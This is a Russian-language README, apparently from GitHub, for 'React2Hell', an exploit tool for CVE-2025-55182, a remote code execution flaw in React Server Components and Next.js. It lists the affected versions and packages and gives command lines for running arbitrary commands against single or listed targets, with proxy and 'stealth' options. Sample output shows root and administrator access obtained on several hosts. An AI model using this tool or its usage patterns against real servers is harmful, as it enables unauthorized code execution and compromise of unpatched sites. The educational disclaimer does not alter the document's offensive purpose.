🧨 React2Hell — Эксплойт CVE-2025-55182

🔥 Эксплойт удаленного выполнения кода на сервере Next.js / React Server (RCE)

█████▄  ▄▄▄▄▄  ▄▄▄   ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ██  ██ ▄▄▄▄▄ ▄▄    ▄▄
██▄▄██▄ ██▄▄  ██▀██ ██▀▀▀   ██    ▄██▀ ██████ ██▄▄  ██    ██
██   ██ ██▄▄▄ ██▀██ ▀████   ██   ███▄▄ ██  ██ ██▄▄▄ ██▄▄▄ ██▄▄▄

 Next.js/React Server RCE Exploit — CVE-2025-55182
   Author: Chetanya Sharma (AggressiveUser)

════════════════════════════════════════════════════════════════════════
usage: new.py [-h] [-u URL] [-l LIST] -c COMMAND [--proxy PROXY] [--proxy-https PROXY_HTTPS]

🚀 Обзор

React2Hell — мощный инструмент для эксплуатации, предназначенный для тестирования и использования CVE-2025-55182, критической уязвимости удаленного выполнения кода, затрагивающей Next.js и React Server Actions.

Уязвимость удаленного выполнения кода без аутентификации существует в React Server Components версий 19.0.0, 19.1.0, 19.1.1 и 19.2.0, включая следующие пакеты: react-server-dom-parcel, react-server-dom-turbopack и react-server-dom-webpack. Уязвимый код небезопасно десериализует полезные нагрузки из HTTP-запросов к конечным точкам Server Function.

✨ Возможности

🧨 Удаленное выполнение кода (RCE)
🌐 Сканирование одного URL / массовое сканирование URL
🧩 Выполнение пользовательских команд
🕵️‍♂️ Скрытый режим с поддержкой прокси
⚡ Быстрый, надежный и простой в использовании

📌 Использование

Режим одной цели

python exploit.py -u https://target.com -c "whoami"

Несколько целей (из файла)

python exploit.py -l urls.txt -c "whoami"

С HTTP-прокси (Burp Suite)

python exploit.py -u https://target.com -c "whoami" --proxy 127.0.0.1:8080

С HTTPS-прокси

python exploit.py -u https://target.com -c "whoami" --proxy-https 127.0.0.1:8080

📁 Пример urls.txt

http://site1.com
https://site2.com
http://192.168.1.10:3000

🖥️ Пример вывода

PS D:\AggressiveUser_PVT\React2Hell> python.exe .\exploit.py -l .\list.txt -c whoami


█████▄  ▄▄▄▄▄  ▄▄▄   ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ██  ██ ▄▄▄▄▄ ▄▄    ▄▄
██▄▄██▄ ██▄▄  ██▀██ ██▀▀▀   ██    ▄██▀ ██████ ██▄▄  ██    ██
██   ██ ██▄▄▄ ██▀██ ▀████   ██   ███▄▄ ██  ██ ██▄▄▄ ██▄▄▄ ██▄▄▄

 Next.js/React Server RCE Exploit — CVE-2025-55182
   Author: Chetanya Sharma (AggressiveUser)

════════════════════════════════════════════════════════════════════════
[+] Loaded 3 targets
════════════════════════════════════════════════════════════════════════

[→] Target: http://meow.host:3113/
[→] Exec:   whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
root
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────

[→] Target: http://evil.lab:2000/
[→] Exec:   whoami
[✗] Not vulnerable — Status: 200
────────────────────────────────────────────────────────────────────────

[→] Target: https://vul.lab:3000/
[→] Exec:   whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
win-1fl835ovldc\\administrator
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────
[✓] Scan complete — Vulnerable: 2
PS D:\AggressiveUser_PVT\React2Hell>

⚠️ Предупреждение

Этот инструмент создан строго для образовательных целей и исследований в области безопасности. Не используйте его на системах без явного разрешения. Вы несете ответственность за свои действия.

⭐ Поддержка проекта

Если этот эксплойт помог вам, оставьте ⭐ на GitHub ❤️

👤 Автор

Chetanya Sharma AggressiveUser

Сделано с 🔥 тем, кто любит ломать и чинить вещи.

React2Hell

Популярное